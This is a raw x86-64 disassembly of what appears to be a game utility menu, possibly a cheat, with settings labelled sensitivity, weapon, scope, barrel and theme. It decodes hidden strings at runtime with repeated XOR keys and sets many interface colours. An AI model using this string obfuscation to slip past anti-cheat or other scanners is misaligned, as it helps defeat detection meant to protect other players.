psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005d1f0
cmp r8d, 0x23
jge 0x14005d324
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14005d2f0
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x840]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x850]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x850]
call fcn.1400383d0
lea rdx, [rbp + 0x124]
mov byte [rbp - 0x76], 0
lea rcx, [rbp - 0x76]
call fcn.14006f720
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14005d39e
xor byte [rbx], 0x34
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x36
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x38
xor al, 0x39
mov byte [rbx + 5], al
lea rdx, [rbp + 0x610]
mov byte [rbp - 0x75], 0
lea rcx, [rbp - 0x75]
call fcn.14006f6f0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14005d4e4
xor r8d, r8d
cmp edi, 2
jl 0x14005d4a4
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005d4b0
movss xmm3, dword [0x14007f668]
lea rdx, [0x14008a310]
mov dword [rsp + 0x28], 0
movaps xmm2, xmm13
mov rcx, r10
mov qword [rsp + 0x20], rbx
call fcn.14003d620
cmp byte [0x14008a0c9], 1
jne 0x14005d555
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005d52c
lea rcx, str.Sensitivity_in_game
call fcn.140013150
cmp byte [0x14008a0c9], 1
jne 0x14005d555
cmp byte [0x14008ae2b], 1
jne 0x14005d555
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005d555
lea rcx, [0x14007dad0]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005d730
lea rdx, [rbp + 0x1228]
mov byte [rbp - 0x74], 0
lea rcx, [rbp - 0x74]
call fcn.14006f740
mov rbx, rax
cmp byte [rax + 0x18], 0
je 0x14005d6d4
xor r8d, r8d
cmp edi, 2
jl 0x14005d696
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005d5a1
cmp r8d, 0x19
jge 0x14005d6d4
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005d6a0
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x860]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x870]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x870]
call fcn.1400383d0
cmp byte [0x14008a0c8], 1
jne 0x14005d730
cmp byte [0x14008ae2b], 1
jne 0x14005d730
mov byte [0x14008ae2b], 0
lea rdx, [rbp + 0x12c]
mov byte [rbp - 0x73], 0
lea rcx, [rbp - 0x73]
call fcn.14006f720
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14005d767
xor byte [rbx], 0x34
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x36
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x38
xor al, 0x39
mov byte [rbx + 5], al
lea rdx, [rbp + 0x134]
mov byte [rbp - 0x72], 0
lea rcx, [rbp - 0x72]
call fcn.14006f770
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14005d79c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov dword [rsp + 0x28], 0
lea rdx, [0x14008a3f8]
mov r9d, 0x5a
mov qword [rsp + 0x20], rbx
mov r8d, 0x46
mov rcx, rax
call fcn.14003d660
lea rcx, [0x140077ab6]
call fcn.1400382d0
cmp byte [0x14008a0c8], 0
je 0x14005d883
lea rdx, [rbp + 0x4b0]
mov byte [rbp - 0x71], 0
lea rcx, [rbp - 0x71]
call fcn.14006f790
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005d826
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r9d, 0xe
mov dword [rsp + 0x20], 7
lea r8, [0x14008a400]
mov rcx, rax
lea rdx, [0x14008aea8]
call fcn.14003c550
cmp byte [0x14008a0c8], 1
jne 0x14005d863
cmp byte [0x14008ae2b], 1
jne 0x14005d863
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005d883
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005d883
lea rcx, str.Weapon
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005d91d
lea rdx, [rbp + 0x4c0]
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x70]
call fcn.14006f790
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005d8d9
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r9d, 0xe
mov dword [rsp + 0x20], 7
lea r8, [0x14008a400]
mov rcx, rax
lea rdx, [0x14008aea8]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005d91d
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005d91d
lea rcx, [0x14007db08]
call fcn.140013150
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
lea rdx, [rbp + 0x4c]
mov byte [rbp - 0x6f], 0
lea rcx, [rbp - 0x6f]
call fcn.14006f7c0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14005d94c
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rcx, rax
call fcn.1400382d0
lea rdx, [rbp + 0x460]
mov byte [rbp - 0x6e], 0
lea rcx, [rbp - 0x6e]
call fcn.14006f7d0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005d999
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
mov r9d, 5
mov dword [rsp + 0x20], 7
lea r8, [0x14008a328]
mov rcx, rax
lea rdx, [0x14008ae88]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005da06
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005d9dd
lea rcx, str.Scope
call fcn.140013150
cmp byte [0x14008a0c9], 1
jne 0x14005da06
cmp byte [0x14008ae2b], 1
jne 0x14005da06
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005da06
lea rcx, [0x14007db20]
call fcn.140013150
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
lea rdx, [rbp + 0x44]
mov byte [rbp - 0x6d], 0
lea rcx, [rbp - 0x6d]
call fcn.14006f7f0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14005da35
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rcx, rax
call fcn.1400382d0
lea rdx, [rbp + 0x4d0]
mov byte [rbp - 0x6c], 0
lea rcx, [rbp - 0x6c]
call fcn.14006f800
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005da86
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x14008a3e8]
mov rcx, rax
lea rdx, [0x14008c7a8]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005daf3
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005daca
lea rcx, str.Barrel
call fcn.140013150
cmp byte [0x14008a0c9], 1
jne 0x14005daf3
cmp byte [0x14008ae2b], 1
jne 0x14005daf3
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005daf3
lea rcx, [0x14007db38]
call fcn.140013150
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
lea rdx, [rbp + 0x48]
mov byte [rbp - 0x6b], 0
lea rcx, [rbp - 0x6b]
call fcn.14006f830
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14005db22
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 0
lea rax, str.Black
mov qword [rbp + 0x4a40], rax
lea rax, str.White
mov qword [rbp + 0x4a48], rax
lea rax, [0x14007db68]
mov qword [rbp + 0x4a30], rax
lea rax, str.
mov qword [rbp + 0x4a38], rax
je 0x14005dc01
lea rdx, [rbp + 0x13c]
mov byte [rbp - 0x6a], 0
lea rcx, [rbp - 0x6a]
call fcn.14006f840
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14005dba4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [rbp + 0x4a40]
mov rcx, rax
lea rdx, [0x14008d308]
call fcn.14003c550
cmp byte [0x14008a0c8], 1
jne 0x14005dbe1
cmp byte [0x14008ae2b], 1
jne 0x14005dbe1
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005dc01
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005dc01
lea rcx, str.Your_Theme
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005dc93
lea rdx, [rbp + 0x3c0]
mov byte [rbp - 0x69], 0
lea rcx, [rbp - 0x69]
call fcn.14006f860
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005dc4f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [rbp + 0x4a30]
mov rcx, rax
lea rdx, [0x14008d308]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005dc93
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005dc93
lea rcx, [0x14007db98]
call fcn.140013150
mov eax, dword [0x14008d308]
test eax, eax
jne 0x14005e3a5
movss xmm0, dword [0x14007f4b8]
lea rcx, [rbp + 0x8a0]
movss xmm3, dword [0x14007f4c0]
movaps xmm2, xmm0
movaps xmm1, xmm0
movss dword [rsp + 0x20], xmm15
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0x8b0]
movss xmm2, dword [0x14007f420]
movss xmm1, dword [0x14007f424]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xbc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x8c0]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xcc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3ec]
lea rcx, [rbp + 0x8d0]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xdc], xmm0
movss xmm0, dword [0x14007f3e4]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f4d0]
lea rcx, [rbp + 0x8e0]
movss xmm3, dword [0x14007f4c0]
movss dword [rsp + 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xfc], xmm0
movss xmm0, dword [0x14007f4b8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4d0]
lea rcx, [rbp + 0x8f0]
movss xmm2, dword [0x14007f4d8]
movss xmm1, dword [0x14007f4dc]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm13
movups xmmword [rsi + 0x10c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0x900]
movss xmm2, dword [0x14007f3ec]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x11c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0x910]
movss xmm2, dword [0x14007f420]
movss xmm1, dword [0x14007f424]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x12c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f47c]
lea rcx, [rbp + 0x920]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x13c], xmm0
movss xmm0, dword [0x14007f478]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
movss xmm2, dword [0x14007f3ec]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x14c], xmm0
lea rcx, [rbp + 0x930]
call fcn.140002a30
movss xmm3, dword [0x14007f4e4]
lea rcx, [rbp + 0x940]
movss xmm2, dword [0x14007f4ec]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x15c], xmm0
movss xmm0, dword [0x14007f4a8]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3ec]
lea rcx, [rbp + 0x950]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x17c], xmm0
movss xmm0, dword [0x14007f3e4]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0x960]
movss xmm2, dword [0x14007f3ec]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x16c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x970]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x18c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x980]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x19c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x990]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x1ac], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x9a0]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x1bc], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f43c]
lea rcx, [rbp + 0x9b0]
movss xmm3, dword [0x14007f4c0]
movss dword [rsp + 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1cc], xmm0
movss xmm0, dword [0x14007f4b8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4c0]
lea rcx, [rbp + 0x9c0]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1dc], xmm0
movss xmm0, dword [0x14007f43c]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x14007f4b8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0x9d0]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x22c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0x9e0]
movss xmm2, dword [0x14007f3ec]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x23c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0x9f0]
movss xmm2, dword [0x14007f420]
movss xmm1, dword [0x14007f424]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x24c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f47c]
lea rcx, [rbp + 0xa00]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x25c], xmm0
movss xmm0, dword [0x14007f478]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0xa10]
movss xmm2, dword [0x14007f3ec]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x26c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f47c]
lea rcx, [rbp + 0xa20]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x27c], xmm0
movss xmm0, dword [0x14007f478]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0xa30]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x28c], xmm0
call fcn.140002a30
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xa40]
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x29c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f47c]
lea rcx, [rbp + 0xa50]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2dc], xmm0
movss xmm0, dword [0x14007f478]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3e4]
lea rcx, [rbp + 0xa60]
movss xmm2, dword [0x14007f3dc]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x2ec], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f490]
lea rcx, [rbp + 0xa70]
movss xmm3, dword [0x14007f44c]
movss xmm2, dword [0x14007f450]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm1
movss xmm1, dword [0x14007f454]
movups xmmword [rsi + 0x2fc], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f428]
lea rcx, [rbp + 0xa80]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x37c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f44c]
lea rcx, [rbp + 0xa90]
movss xmm2, dword [0x14007f450]
movss xmm1, dword [0x14007f454]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x38c], xmm0
movss xmm0, dword [0x14007f490]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f428]
lea rcx, [rbp + 0xaa0]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x39c], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f428]
lea rcx, [rbp + 0xab0]
movaps xmm3, xmm13
movaps xmm2, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x3ac], xmm0
movss xmm0, dword [0x14007f45c]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x40c], xmm0
jmp 0x14005f3c5
cmp eax, 1
jne 0x14005e9cf
movss xmm0, dword [0x14007f46c]
lea rcx, [rbp + 0xac0]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm13
movaps xmm1, xmm13
call fcn.140002a30
lea rcx, [rbp + 0xad0]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xbc], xmm0
movss xmm0, dword [0x14007f424]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xae0]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xcc], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xaf0]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xdc], xmm0
movss xmm0, dword [0x14007f4dc]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
lea rcx, [rbp + 0xb00]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xfc], xmm0
movss xmm0, dword [0x14007f4c8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xb10]
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x10c], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xb20]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x11c], xmm0
movss xmm0, dword [0x14007f4d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
lea rcx, [rbp + 0xb30]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x12c], xmm0
movss xmm0, dword [0x14007f4bc]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
lea rcx, [rbp + 0xb40]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x13c], xmm0
movss xmm0, dword [0x14007f4ac]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss dword [rsp + 0x20], xmm15
movaps xmm3, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x14c], xmm0
movaps xmm2, xmm15
lea rcx, [rbp + 0xb50]
movaps xmm1, xmm15
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xb60]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x15c], xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xb70]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x17c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4b0]
lea rcx, [rbp + 0x7c0]
movss xmm2, dword [0x14007f448]
movaps xmm1, xmm13
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x16c], xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xb90]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x18c], xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xba0]
